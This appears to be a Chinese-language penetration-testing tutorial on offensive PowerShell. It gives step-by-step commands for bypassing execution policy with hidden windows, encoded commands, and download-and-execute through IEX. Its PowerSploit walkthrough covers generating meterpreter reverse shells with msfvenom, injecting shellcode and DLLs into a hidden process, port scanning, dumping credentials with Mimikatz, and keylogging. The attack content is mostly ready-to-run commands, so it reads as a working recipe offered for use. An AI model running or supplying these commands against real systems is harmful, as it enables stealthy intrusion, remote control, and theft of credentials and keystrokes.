PowerShell
简介
一旦攻击者可以在目标主机上运行代码,就可以运行PowerShell(.psl)脚本。
cmd可能会被杀软阻止运行,而ps不会,攻击者可以持续攻击而不被轻易发现。
可以输入get-host查看PowerShell版本
执行策略
为防止恶意脚本执行,PowerShell有一个默认执行策略,被设为受限。
使用以下命令查看当前执行策略
解释:
Restricted:脚本不能运行(默认设置)
RemoteSigned:本地脚本可运行,网上下载的不行
AllSigned:仅当脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有的脚本运行
Set-ExecutionPolicy <policy name> //设置执行策略
运行脚本
C:\Scripts\a.psl //指定路径运行
.\a.psl //在当前目录下运行
管道
管道的作用是:将一个命令的输出作为另一个命令的输入
ps> Get-Process p* | stop-process //停止所有以"p"开头命名的程序
PowerShell常用命令
要运行PowerShell脚本,就必须使用管理员权限将Restricted策略改成Unrestricted,
所以渗透时需要采用一些方法绕过策略来执行脚本。
绕过本地权限执行
PowerShell.exe -ExecutionPolicy Bypass -File xx.psl
本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Nologo -Nonlnteractive -NoProfile -File xx.psl
用IEX下载远程PSl脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xx.psl");[Parameters]
参数说明:
ExecutionPolicy Bypass:绕过执行安全策略
WindowsStyle Hidden:隐藏窗口
NoLogo:启动不显示版权标志的PowerShell
Nonlnteractive(-NonI):非交互模式,不提供交互提示
NoProfile(-NoP):不加载当前用户的配置文件
Noexit:执行后不退出Shell。对键盘记录有用
通过编码的方式执行
一个最简单的例子:
使用编码的方式执行whoami
命令,我们首先使用下面的命令来进行编码
$command = "whoami"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand
这串代码执行完之后就会打印出编码结果,之后直接执行即可
powershell.exe -EncodedCommand $encodedCommand
搭建小型HTTP服务器
在Linux内网环境-m SimpleHTTPServer 即可,windows内网则可以用下面方法搭建。
HTTPListener-API
搭建HTTP服务器也是调用了.Net的API—HttpListener
# This script will execute in background
start-job {
$p=Get-Location #可以获取当前用户的目录$p.path
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8889/")
$H.Start()
While ($H.IsListening) {
$HC=$H.GetContext()
$HR=$HC.Response
$HR.Headers.Add("Content-Type","text/plain")
$file=Join-Path $p.path ($HC.Request).RawUrl
$text=[IO.File]::ReadAllText($file)
$text=[Text.Encoding]::UTF8.GetBytes($text)
$HR.ContentLength64 = $text.Length
$HR.OutputStream.Write($text,0,$text.Length)
$HR.Close()
}
$H.Stop()
}
.\http.psl直接运行就能在后台运行,Powershell会返回一个任务ID
如果我们需要停止这个HTTP,只需要Stop-Job -id 1即可
远程加载执行
命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/http.ps1');"
只需要在本地开一个Web服务,之后通过上面的命令下载脚本即可,还可以和上面编码的方式并用.
实例工具
mimikittenz
mimikittenz下载地址
需要管理员权限,并修改执行策略
在当前目录导入模块运行即可
BloodHound
链接 中文名猎犬,内网信息域内关系与细节整理,这个工具是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。
DeathStar
链接 中文名死星,域管理员权限
这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。
PowerSploit后渗透框架
这是一款基于PowerShell的后渗透框架软件,包含很多ps攻击脚本,
主要用于渗透中的信息侦察、权限提升、权限维持
地址:https://github.com/PowerShellMafia/PowerSploit
把下载的脚本放在自己服务器(www)上以供访问下载
kali上开启Apache服务:service apache2 start
把下载的脚本移动到var/www/html目录,在网页中打开http://IP/PowerSploit/
各模块功能:
AntivirusBypass 发现杀软查杀特征
CodeExecution 在目标主机执行代码
Exfiltration 目标主机上的信息搜集工具
Mayhem 蓝屏等破坏性脚本
Persistence 后门脚本(持久性控制)
Recon 以目标主机为跳板进行内网信息侦查
ScriptModification 在目标主机上创建或修改脚本
实战攻击
Invoke-Shellcode 进程注入
常用于将ShellCode插入到指定的进程ID或本地PowerShell中
1.直接执行ShellCode反弹msf shell
1)msf 里用reverse_https模块进行反弹
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 攻击者IP
run
2)使用msfvenom生成psl木马
msfvenom -p windows/meterpreter/reverse_https LHOST=攻击IP LPORT=4444 -f powershell -o /var/www/html/test
3)在目标机PowerShell输入命令,下载该脚本(Invoke-Shellcode)
IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerSploit/CodeExecution/Invoke-Shellcode.psl")
4)下载木马
IEX(New-Object Net.WebClient).DownloadString("http://IP/test")
5)运行木马
Invoke-Shellcode -Shellcode ($buf) -Force #-Force的意思是不用提示,直接执行
然后查看msf是否反弹成功。
2.指定进程注入ShellCode反弹msf shell
1)下载PowerShell脚本,和msf木马
IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerSploit/CodeExecution/Invoke-Shellcode.psl")
IEX(New-Object Net.WebClient).DownloadString("http://IP/test")
2)生成新进程
ps #查看系统进程
Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden
3)进程注入
Invoke-Shellcode -ProcessID 5030 -Shellcode ($buf) -Force #5030是刚开的记事本的PID
msf查看是否反弹成功
Invoke-Dllnjection DLL注入
1)下载脚本
IEX(New-Object Net.WebClient).DownloadString("http://IP/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")
2)生成msf木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll
3)开启隐藏进程,进行DLL注入
Start-Process C:\windows\system32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 4080 -Dll C:\msf.dll
Invoke-Portscan端口扫描
Invoke-Portscan -Hosts 192.168.1.21,192.168.1.32 -Ports "80,22,3389"
Invoke-Mimikatz DUMP密码(注意此脚本需要用管理员权限运行)
Invoke-Mimikatz –DumpCreds
Get-Keystrokes 键盘记录器
Get-Keystrokes -LogPath c:\test.txt